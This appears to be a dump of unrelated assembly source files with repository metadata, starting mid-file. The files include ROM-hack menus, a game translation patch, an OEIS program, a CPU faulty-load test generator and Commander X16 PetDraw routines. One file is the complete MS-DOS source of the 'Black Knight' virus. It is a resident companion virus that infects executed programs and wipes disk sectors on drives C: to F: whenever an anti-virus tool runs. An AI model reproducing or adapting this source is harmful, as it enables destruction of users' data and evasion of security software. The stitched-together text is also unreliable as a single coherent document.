pop di pop es pop si pop ds pop cx ret code ends end start
13.385093
79
0.623202
4b70a24aed15cb6703febde8e9be3aacb91663a1
6,047
asm
Assembly
src/cm_config.asm
spannerisms/lttphack
8309fecd1b73db4d81616ec500253ae1aa52b399
[ "MIT" ]
6
2020-02-14T17:14:52.000Z
2021-12-06T19:51:25.000Z
src/cm_config.asm
spannerisms/lttphack
8309fecd1b73db4d81616ec500253ae1aa52b399
[ "MIT" ]
1
2020-09-26T07:40:33.000Z
2020-09-26T07:40:33.000Z
src/cm_config.asm
spannerisms/lttphack
8309fecd1b73db4d81616ec500253ae1aa52b399
[ "MIT" ]
7
2019-12-02T21:51:51.000Z
2021-07-03T17:53:04.000Z
CONFIG_SUBMENU: %menu_header("CONFIGURATION", 5) ;=================================================================================================== %toggle_onoff("Rerandomize", !config_rerandomize_toggle) ;=================================================================================================== %toggle_func_onoff_here("Music", !config_feature_music) LDA.w !config_feature_music REP #$20 BNE ..unmute ..mute LDA.w #MutedInstruments BRA ..transfer ..unmute LDA.w #UnmutedInstruments ..transfer JSR transfer_adsr LDA.w $0133 : STA.w $012C RTL #mute_music: REP #$20 LDA.w #MutedInstruments JSR transfer_adsr RTL #transfer_adsr: STA.w $0000 LDA.w #$0000 PHD TCD SEP #$30 LDA.b #$FF : STA.w $2140 STZ.w $4200 LDA.b #UnmutedInstruments>>16 JSL $00891D SEP #$30 PLD RTS ;=================================================================================================== %toggle_customtext_here("Menu open", !config_cm_save_place) %list_item("Main menu") %list_item("Save place") ;=================================================================================================== %choice_here("HUD font", !config_hud_font, 22) %list_item("LTTP") %list_item("Klonoa") %list_item("TI-83") %list_item("Shin-chan") %list_item("SMT") %list_item("Mario World") %list_item("DKC") %list_item("ZAMN") %list_item("Emerald") %list_item("Earthbound") %list_item("FF6") %list_item("Lufia 2") %list_item("Goonies 2") %list_item("Pac-Man") %list_item("DOOM") %list_item("Undertale") %list_item("Planet X-3") %list_item("Skyroads") %list_item("Yoshi's") %list_item("S. Metroid") %list_item("Tazmania") %list_item("Black Bass") ;=================================================================================================== %submenu("Color config", COLOR_CONFIG_SUBMENU) ;=================================================================================================== !color_count = 21 !color_id = -1 COLORS_YAY: fillword $0000 : fill !color_count*2 macro fixed_color(val, name) !color_id #= !color_id+1 %list_item("<name>") pushpc org COLORS_YAY+!color_id*2 : dw color(<val>) pullpc endmacro COLOR_CONFIG_SUBMENU: %menu_header("COLOR CONFIG", 7) %choice_func("Menu BG", !config_hud_bg, !color_count, set_color, color_list) %choice_func("Header FG", !config_hud_header_fg, !color_count, set_color, color_list) %choice_func("Header HL", !config_hud_header_hl, !color_count, set_color, color_list) %choice_func("Header BG", !config_hud_header_bg, !color_count, set_color, color_list) %choice_func("Selection FG", !config_hud_sel_fg, !color_count, set_color, color_list) %choice_func("Selection BG", !config_hud_sel_bg, !color_count, set_color, color_list) %choice_func("Inactive FG", !config_hud_dis_fg, !color_count, set_color, color_list) ;%choice_func("Inactive BG", !config_hud_dis_bg, !color_count, set_color, color_list) set_color: BIT.b SA1IRAM.cm_ax BVC .dontreset LDA.b SA1IRAM.cm_cursor TAX ASL TAY LDA.l .defaults,X STA.w !config_hud_bg,Y .dontreset RTL .defaults db 0 ; HUD BG: black db 1 ; Header FG: white db 10 ; Header HL: lui db 0 ; Header BG: black db 9 ; Selection FG: me db 8 ; Selection BG: mine db 3 ; Inactive FG: gray color_list: %list_header(!color_count) %fixed_color($000000, "Black") %fixed_color($F8F8F8, "White") %fixed_color($C06000, "Brown") %fixed_color($A8A8A8, "Gray") %fixed_color($C00000, "Red") %fixed_color($E0A800, "Yellow") %fixed_color($20C028, "Green") %fixed_color($4870D0, "Blue") %fixed_color($C8C8F8, "Periwinkle") %fixed_color($000090, "Dark Blue") %fixed_color($06A969, "Lui green") %fixed_color($20A8F8, "Glan blue") ; fantasy %fixed_color($F8B000, "Mike orange") %fixed_color($782878, "Purple") %fixed_color($605800, "Garbage") %fixed_color($8090A0, "Blilver") %fixed_color($F858A8, "Pink") %fixed_color($F76D61, "Peach42") %fixed_color($2AA8D9, "Siriusly?") %fixed_color($BADA55, "BADA55") %fixed_color($FFBFFF, "Blunt pink") ;=================================================================================================== UnmutedInstruments: dw .end-.start, $3D00 .start db $00, $FF, $E0, $B8, $04, $70 db $01, $FF, $E0, $B8, $07, $90 db $02, $FF, $E0, $B8, $09, $C0 db $03, $FF, $E0, $B8, $04, $00 db $04, $FF, $E0, $B8, $04, $00 db $05, $FF, $E0, $B8, $04, $70 db $06, $FF, $E0, $B8, $04, $70 db $07, $FF, $E0, $B8, $04, $70 db $08, $FF, $E0, $B8, $07, $A0 db $09, $8F, $E9, $B8, $01, $E0 db $0A, $8A, $E9, $B8, $01, $E0 db $0B, $FF, $E0, $B8, $03, $00 db $0C, $FF, $E0, $B8, $03, $A0 db $0D, $FF, $E0, $B8, $01, $00 db $0E, $FF, $EF, $B8, $0E, $A0 db $0F, $FF, $EF, $B8, $06, $00 db $10, $FF, $E0, $B8, $03, $D0 db $11, $8F, $E0, $B8, $03, $00 db $12, $8F, $E0, $B8, $06, $F0 db $13, $FD, $E0, $B8, $07, $A0 db $14, $FF, $E0, $B8, $07, $A0 db $15, $FF, $E0, $B8, $03, $D0 db $16, $8F, $E0, $B8, $03, $00 db $17, $FF, $E0, $B8, $02, $C0 db $18, $FE, $8F, $B8, $06, $F0 .end dw $0000, $0800 ;--------------------------------------------------------------------------------------------------- MutedInstruments: dw .end-.start, $3D00 .start db $00, $00, $00, $00, $04, $70 db $01, $00, $00, $00, $07, $90 db $02, $00, $00, $00, $09, $C0 db $03, $00, $00, $00, $04, $00 db $04, $00, $00, $00, $04, $00 db $05, $00, $00, $00, $04, $70 db $06, $FF, $E0, $B8, $04, $70 ; mirror uses this, leave unmuted db $07, $00, $00, $00, $04, $70 db $08, $00, $00, $00, $07, $A0 db $09, $00, $00, $00, $01, $E0 db $0A, $00, $00, $00, $01, $E0 db $0B, $00, $00, $00, $03, $00 db $0C, $00, $00, $00, $03, $A0 db $0D, $00, $00, $00, $01, $00 db $0E, $00, $00, $00, $0E, $A0 db $0F, $00, $00, $00, $06, $00 db $10, $00, $00, $00, $03, $D0 db $11, $00, $00, $00, $03, $00 db $12, $00, $00, $00, $06, $F0 db $13, $00, $00, $00, $07, $A0 db $14, $00, $00, $00, $07, $A0 db $15, $00, $00, $00, $03, $D0 db $16, $00, $00, $00, $03, $00 db $17, $00, $00, $00, $02, $C0 db $18, $00, $00, $00, $06, $F0 .end dw $0000, $0800
25.407563
100
0.540433
9c7a29e69cd3507c4a173f1d818dc96bfdd4c16a
1,367
asm
Assembly
Assembly/textbox/casino_exchange.asm
WildGenie/Ninokuni
019b4b7f069b311d0146d634f0af4c3096be7dd9
[ "Apache-2.0" ]
14
2015-01-15T19:08:06.000Z
2021-09-27T17:27:22.000Z
Assembly/textbox/casino_exchange.asm
WildGenie/Ninokuni
019b4b7f069b311d0146d634f0af4c3096be7dd9
[ "Apache-2.0" ]
5
2015-01-13T21:19:45.000Z
2015-04-12T15:51:18.000Z
Assembly/textbox/casino_exchange.asm
WildGenie/Ninokuni
019b4b7f069b311d0146d634f0af4c3096be7dd9
[ "Apache-2.0" ]
7
2015-02-02T20:14:00.000Z
2017-05-14T07:58:12.000Z
;;----------------------------------------------------------------------------;; ;; Align the position of the textbox in the casino menus ;; Copyright 2014 Benito Palacios (aka pleonex) ;; ;; Licensed under the Apache License, Version 2.0 (the "License"); ;; you may not use this file except in compliance with the License. ;; You may obtain a copy of the License at ;; ;; http://www.apache.org/licenses/LICENSE-2.0 ;; ;; Unless required by applicable law or agreed to in writing, software ;; distributed under the License is distributed on an "AS IS" BASIS, ;; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ;; See the License for the specific language governing permissions and ;; limitations under the License. ;;----------------------------------------------------------------------------;; ; Slot color when exchanging .arm .org 0x0207BCF0 MOV R1, #0x8D ; X pos, original 0xA2 ; Object name .org 0x0207C608 RSB R1, R0, #0x88 ; Text is centered, original 0x80 ADD R0, R4, #0x44 MOV R2, #0x2D ; Y pos, original 0x2C ; Needed casino coins top screen .org 0x0207C700 RSB R1, R0, #0x54 ; Aligned to the right, orignial 0x4C ; Needed casino coins bottom screen .org 0x0207C72C RSB R1, R0, #0x5B ; Align to the right, original 0x4D MOV R2, #5 ; Y pos, original 0x06
35.973684
80
0.613021
c4a500ae38e2b4db6f78fbe5cab1fac2f76db455
711
asm
Assembly
oeis/131/A131112.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/131/A131112.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/131/A131112.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A131112: T(n,k) = 4*binomial(n,k) - 3*I(n,k), where I is the identity matrix; triangle T read by rows (n >= 0 and 0 <= k <= n). ; Submitted by Jamie Morken(s2) ; 1,4,1,4,8,1,4,12,12,1,4,16,24,16,1,4,20,40,40,20,1,4,24,60,80,60,24,1,4,28,84,140,140,84,28,1,4,32,112,224,280,224,112,32,1,4,36,144,336,504,504,336,144,36,1,4,40,180,480,840,1008,840,480,180,40,1,4,44,220,660,1320,1848,1848,1320,660,220,44,1,4,48,264,880,1980,3168,3696,3168,1980,880,264,48,1,4,52,312,1144,2860,5148,6864,6864,5148 add $0,1 seq $0,198321 ; Triangle T(n,k), read by rows, given by (0,1,0,0,0,0,0,0,0,0,0,...) DELTA (1,1,-1,1,0,0,0,0,0,0,0,...) where DELTA is the operator defined in A084938. mul $0,16 sub $0,1 div $0,4 add $0,1
64.636364
334
0.652602
49d17b552fe10be25d2bbb9711fd1064fcac0026
8,325
asm
Assembly
MSDOS/Virus.MSDOS.Unknown.blknight.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:13.000Z
2022-03-16T09:11:05.000Z
MSDOS/Virus.MSDOS.Unknown.blknight.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
null
null
null
MSDOS/Virus.MSDOS.Unknown.blknight.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:15.000Z
2022-01-08T20:51:04.000Z
From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:43:54 1994 Xref: netcom.com alt.comp.virus:508 Path: netcom.com!ix.netcom.com!netnews From: Zeppelin@ix.netcom.com (Mr. G) Newsgroups: alt.comp.virus Subject: BlackKnight Virus (ANTI AV VIRUS) Date: 29 Nov 1994 13:09:23 GMT Organization: Netcom Lines: 376 Distribution: world Message-ID: <3bf963$idi@ixnews1.ix.netcom.com> References: <sbringerD00yHv.Hs3@netcom.com> <bradleymD011vJ.Lp8@netcom.com> NNTP-Posting-Host: ix-pas2-10.ix.netcom.com ;Black Knight Anti-Virus-Virus ;Size - 520 ; ;Tasm BKNIGHT ;Tlink /T BKNIGHT ;Memory Resident Companion Virus ;Anti-Anti-Virus ;Formats Drives C: to F: When Anti-Virus Product Is Ran ;Tempest - _ Of Luxenburg ; .radix 16 cseg segment model small assume cs:cseg, ds:cseg, es:cseg org 100h oi21 equ endit filelength equ endit - begin nameptr equ endit+4 DTA equ endit+8 begin: jmp virus_install virus_name: db 'Black Knight' ;install virus_install: nop nop nop mov ax,cs ; reduce memory size dec ax mov ds,ax cmp byte ptr ds:[0000],5a jne cancel mov ax,ds:[0003] sub ax,100 mov ds:0003,ax Zopy_virus: mov bx,ax ; copy to claimed block mov ax,es add ax,bx mov es,ax mov cx,offset endit - begin mov ax,ds inc ax mov ds,ax lea si,ds:[begin] lea di,es:0100 rep movsb Grab_21: mov ds,cx ; hook int 21h mov si,0084h ; mov di,offset oi21 mov dx,offset check_exec lodsw cmp ax,dx ; je cancel ; exit, if already installed stosw movsw push es pop ds mov ax,2521h ; revector int 21h to virus nop int 21h nop cancel: ret check_exec: pushf push es ; push everything onto the push ds ; stack push ax push bx push dx cmp ax,04B00h ; is the file being jne abort ; executed? ;if yes, try the_stinger do_infect: call infect ; then try to infect abort: ; restore everything pop dx pop bx pop ax pop ds pop es popf Bye_Bye: ; exit jmp dword ptr cs:[oi21] new_24h: mov al,3 ; critical error handler iret infect: mov cs:[name_seg],ds ; here, the virus essentially mov cs:[name_off],dx ; copies the name of the cld ; loaded file into a buffer mov di,dx ; so that it can be compared push ds ; against the default names pop es ; in the_stinger mov al,'.' ; subroutine repne scasb ; <-- call the_stinger ; check for anti-virus load ; and deploy the_stinger cld mov word ptr cs:[nameptr],dx mov word ptr cs:[nameptr+2],ds mov ah,2Fh int 21h push es push bx push cs pop ds mov dx,offset DTA mov ah,1Ah int 21h call searchpoint push di mov si,offset COM_txt mov cx,3 rep cmpsb pop di jz do_com mov si,offset EXE_txt nop mov cl,3 rep cmpsb jnz return do_exe: mov si,offset COM_txt nop call change_ext mov ax,3300h nop int 21h push dx cwd inc ax push ax int 21h Grab24h: mov ax,3524h int 21h push bx push es push cs pop ds mov dx,offset new_24h mov ah,25h push ax int 21h lds dx,dword ptr [nameptr] ;create the virus (unique name) xor cx,cx mov ah,05Bh int 21 jc return1 xchg bx,ax ;save handle push cs pop ds mov cx,filelength ;cx= length of virus mov dx,offset begin ;where to start copying mov ah,40h ;write the virus to the int 21h ;new file mov ah,3Eh ; close int 21h return1: pop ax pop ds pop dx int 21h pop ax pop dx int 21h mov si,offset EXE_txt call change_ext return: mov ah,1Ah pop dx pop ds int 21H ret do_com: call findfirst cmp word ptr cs:[DTA+1Ah],endit - begin jne return mov si,offset EXE_txt call change_ext call findfirst jnc return mov si,offset COM_txt call change_ext jmp short return searchpoint: les di,dword ptr cs:[nameptr] mov ch,0FFh mov al,0 repnz scasb sub di,4 ret change_ext: call searchpoint push cs pop ds movsw movsw ret findfirst: lds dx,dword ptr [nameptr] mov cl,27h mov ah,4Eh int 21h ret the_stinger: cmp word ptr es:[di-3],'MI' ;Integrity Master je jumptoass cmp word ptr es:[di-3],'XR' ;VIRX je jumptoass cmp word ptr es:[di-3],'PO' ;VIRUSTOP jne next1 cmp word ptr es:[di-5],'TS' je jumptoass next1: cmp word ptr es:[di-3],'VA' ;AV = CPAV je jumptoass cmp word ptr es:[di-3],'TO' ;*prot = F-prot jne next2 cmp word ptr es:[di-5],'RP' je jumptoass next2: cmp word ptr es:[di-3],'NA' ;*scan = McAfee's Scan. jne next3 cmp word ptr es:[di-5],'CS' je jumptoass cmp word ptr es:[di-3],'NA' ;*lean = McAfee's CLEAN. jne next3 ; why not, eh? cmp word ptr es:[di-5],'EL' je jumptoass next3: ret jumptoass: jmp nuke ;assassination (deletion) ; of anti-virus program nuke: mov al,2 ;Lets Total The C: Drive mov cx,25 cli ; Keeps Victim From Aborting cwd int 026h sti mov al,3 ;Lets Total The D: Drive mov cx,25 cli ; Keeps Victim From Aborting cwd int 026h sti mov al,3 ;Lets Total The E: Drive mov cx,25 cli ; Keeps Victim From Aborting cwd int 026h sti mov al,5 ;Lets Total The F: Drive mov cx,25 cli ; Keeps Victim From Aborting cwd int 026h sti EXE_txt db 'EXE',0 COM_txt db 'COM',0 data_1 db 0 data_2 db 0 last db 090H name_seg dw ? name_off dw ? c1 db 0 c2 db 0 c3 db 0 c4 db 0 c5 db 0 virus_man: db 'Tempest - _ Of Luxenburg' endit: cseg ends end begin
21.237245
75
0.435796
fc7d42d93438e7122ff5601f94eb06533a194f58
642
asm
Assembly
Engine Hacks/Skill System/Teq Skills/FE8-Capture/FE8-Capture/Stat_Getters/Spd_Getter.asm
sme23/MekkahRestrictedHackComp1
1cc9d2fec557424f358b6bfa21f9f3bb6faf2978
[ "CC0-1.0" ]
null
null
null
Engine Hacks/Skill System/Teq Skills/FE8-Capture/FE8-Capture/Stat_Getters/Spd_Getter.asm
sme23/MekkahRestrictedHackComp1
1cc9d2fec557424f358b6bfa21f9f3bb6faf2978
[ "CC0-1.0" ]
null
null
null
Engine Hacks/Skill System/Teq Skills/FE8-Capture/FE8-Capture/Stat_Getters/Spd_Getter.asm
sme23/MekkahRestrictedHackComp1
1cc9d2fec557424f358b6bfa21f9f3bb6faf2978
[ "CC0-1.0" ]
null
null
null
.thumb .org 0x0 @new spd getter; bxed to from 19210 push {r4-r5,r14} mov r4,r0 ldr r1,Get_Equipped_Weapon mov r14,r1 .short 0xF800 ldr r1,Get_Weapon_Spd_Bonus mov r14,r1 .short 0xF800 mov r5,r0 ldrb r0,[r4,#0x16] add r5,r0 ldr r0,[r4,#0xC] mov r1,#0x10 tst r0,r1 beq CheckCapture lsr r5,#0x1 b GoBack @can't capture if you're rescuing, so no sense in checking CheckCapture: ldr r0,Is_Capture_Set mov r14,r0 mov r0,r4 .short 0xF800 cmp r0,#0x0 beq GoBack lsr r5,#0x1 GoBack: mov r0,r5 pop {r4-r5} pop {r1} bx r1 .align Get_Equipped_Weapon: .long 0x08016B28 Get_Weapon_Spd_Bonus: .long 0x08016480 Is_Capture_Set: @
14.930233
72
0.727414
0a10a45214c1c3ea60467f550653b30b06f17ec5
5,873
asm
Assembly
Transynther/x86/_processed/NONE/_st_/i7-7700_9_0x48.log_21829_803.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_st_/i7-7700_9_0x48.log_21829_803.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_st_/i7-7700_9_0x48.log_21829_803.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r13 push %rbp push %rdi push %rsi lea addresses_A_ht+0x1d350, %rdi clflush (%rdi) nop nop nop nop nop xor $63502, %r13 movb (%rdi), %r11b nop add $60054, %rbp lea addresses_D_ht+0x18322, %rdi nop nop add $1859, %r12 mov (%rdi), %rsi nop nop nop nop nop and %rbp, %rbp lea addresses_UC_ht+0x5950, %rbp cmp $29149, %r10 mov $0x6162636465666768, %r11 movq %r11, %xmm2 and $0xffffffffffffffc0, %rbp vmovntdq %ymm2, (%rbp) cmp $40805, %rbp lea addresses_UC_ht+0x5350, %r11 nop nop nop sub $8691, %r13 mov (%r11), %r10d cmp $9070, %r11 pop %rsi pop %rdi pop %rbp pop %r13 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r14 push %r15 push %rax push %rcx push %rdx // Store lea addresses_normal+0x109df, %r15 nop nop nop sub %rax, %rax mov $0x5152535455565758, %rdx movq %rdx, %xmm2 movups %xmm2, (%r15) add $28937, %r12 // Store mov $0xcef, %rdx nop nop nop nop nop dec %r13 mov $0x5152535455565758, %r14 movq %r14, %xmm5 vmovups %ymm5, (%rdx) nop nop sub $19861, %r13 // Store mov $0x1cf, %r13 cmp $58106, %r12 movl $0x51525354, (%r13) dec %rax // Store lea addresses_D+0x5b50, %r13 nop nop nop sub %rax, %rax mov $0x5152535455565758, %rdx movq %rdx, %xmm7 movups %xmm7, (%r13) nop dec %r13 // Faulty Load lea addresses_A+0x1fb50, %rcx nop nop nop nop nop xor %r13, %r13 movb (%rcx), %al lea oracles, %r13 and $0xff, %rax shlq $12, %rax mov (%r13,%rax,1), %rax pop %rdx pop %rcx pop %rax pop %r15 pop %r14 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 9, 'size': 16, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 11, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 1, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 7, 'size': 32, 'same': False, 'NT': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
39.416107
2,999
0.655202
1a2a29c6f1a3f0ee0fb58d78e9e533e110531994
11,170
asm
Assembly
pd-x16-screen.asm
lvcabral/x16-petdraw
ebe580db6e4a368055cef366003482bee44a3f35
[ "MIT" ]
null
null
null
pd-x16-screen.asm
lvcabral/x16-petdraw
ebe580db6e4a368055cef366003482bee44a3f35
[ "MIT" ]
null
null
null
pd-x16-screen.asm
lvcabral/x16-petdraw
ebe580db6e4a368055cef366003482bee44a3f35
[ "MIT" ]
null
null
null
//Petdraw (Commander X16 version) //by David Murray 2019 //dfwgreencars@gmail.com // //Converted to KickAssembler //by Marcelo Lv Cabral 2020 //https://github.com/lvcabral //The following routine clears the entire 80x60 screen //and sets the color attributes to white on black. CLEAR_SCREEN: lda #%00010000 //SET INCREMENT TO 1 sta VERA_INC lda #00 //SET STARTING POINT TO ZERO ldx #0 ldy #0 CLSC01: sty VERA_HI lda #00 sta VERA_LO CLSC02: lda #32 //SPACE sta VERA_RW lda #01 //WHITE ON BLACK sta VERA_RW inx cpx #80 bne CLSC02 ldx #0 iny cpy #60 bne CLSC01 rts COPY_SCREEN_TO_BUFFER: lda #%00010000 //INCREMENT SET TO ONE sta VERA_INC ldx #00 ldy #00 lda #<SCREEN_BUFFER sta $FB lda #>SCREEN_BUFFER sta $FC CSTB01: lda #00 sta VERA_LO stx VERA_HI CSTB02: lda VERA_RW sta ($FB),Y iny cpy COPY_WIDTH bne CSTB02 ldy #00 lda $FB clc adc COPY_WIDTH sta $FB lda $FC adc #00 sta $FC inx cpx COPY_HEIGHT bne CSTB01 rts COPY_BUFFER_TO_SCREEN: lda #%00010000 //INCREMENT SET TO ONE sta VERA_INC ldx #00 ldy #00 lda #<SCREEN_BUFFER sta $FB lda #>SCREEN_BUFFER sta $FC CBTS01: lda #0 sta VERA_LO stx VERA_HI CBTS02: lda ($FB),Y sta VERA_RW iny cpy COPY_WIDTH bne CBTS02 ldy #$00 lda $FB clc adc COPY_WIDTH sta $FB lda $FC adc #00 sta $FC inx cpx COPY_HEIGHT bne CBTS01 rts HELP_SCREEN: jsr MAIN_CURSOR_UNPLOT jsr COPY_SCREEN_TO_BUFFER jsr SET40 //This routine is a bit unique because I had to design the //character pick screen from the C64 version of PetDraw which //stores the data in a very different way. So this routine //converts it while simultaneously displays it on screen. HS01: lda #%00010000 //INCREMENT BY 1 sta VERA_INC ldy #00 sty VERA_HI sty VERA_LO //SET STARTING POSITION lda #<HELP_SCREEN_TEXT sta $FB lda #>HELP_SCREEN_TEXT sta $FC lda #<HELP_SCREEN_COLOR sta $FD lda #>HELP_SCREEN_COLOR sta $FE jsr SCREENCOPY HS05: jsr $FFE4 cmp #$00 beq HS05 jsr SET_MODE jsr COPY_BUFFER_TO_SCREEN jsr MAIN_CURSOR_PLOT rts SCREENCOPY: ldx #$00 ldy #$00 HS04: lda ($FB),Y sta VERA_RW lda ($FD),Y and #%00001111 //REMOVE UPPER 4 BITS OF COLOR DATA sta VERA_RW iny cpy #40 bne HS04 ldy #00 clc lda $FB //INCREASE ORIGIN TEXT BY 40 CHARACTERS adc #40 sta $FB lda $FC adc #$00 sta $FC clc //INCREASE ORIGIN COLOR BY 40 BYTES lda $FD adc #40 sta $FD lda $FE adc #$00 sta $FE inx stx VERA_HI //SET NEW LINE ON VIDEO RAM lda #$00 sta VERA_LO cpx #25 bne HS04 rts COLOR_SCREEN: jsr COPY_SCREEN_TO_BUFFER jsr SET40 CS01: lda SELCOL //GET CURRENT COLOR and #%00001111 //Strip top bits to get FG color sta COLSEL_FG lda SELCOL //GET CURRENT COLOR and #%11110000 //Strip lower bits to get BG color lsr lsr lsr lsr sta COLSEL_BG //This routine is a bit unique because I had to design the //character pick screen from the C64 version of PetDraw which //stores the data in a very different way. So this routine //converts it while simultaneously displays it on screen. CS02: lda #%00010000 //INCREMENT BY 1 sta VERA_INC ldy #00 sty VERA_HI sty VERA_LO //SET STARTING POSITION lda #<COLOR_SCREEN_TEXT+2 sta $FB lda #>COLOR_SCREEN_TEXT+2 sta $FC lda #<COLOR_SCREEN_COLOR+2 sta $FD lda #>COLOR_SCREEN_COLOR+2 sta $FE jsr SCREENCOPY jsr COLBANKHILITE jsr FGCOLORHILITE jsr BGCOLORHILITE jsr SAMPLE_COLOR_DISPLAY CS05: jsr 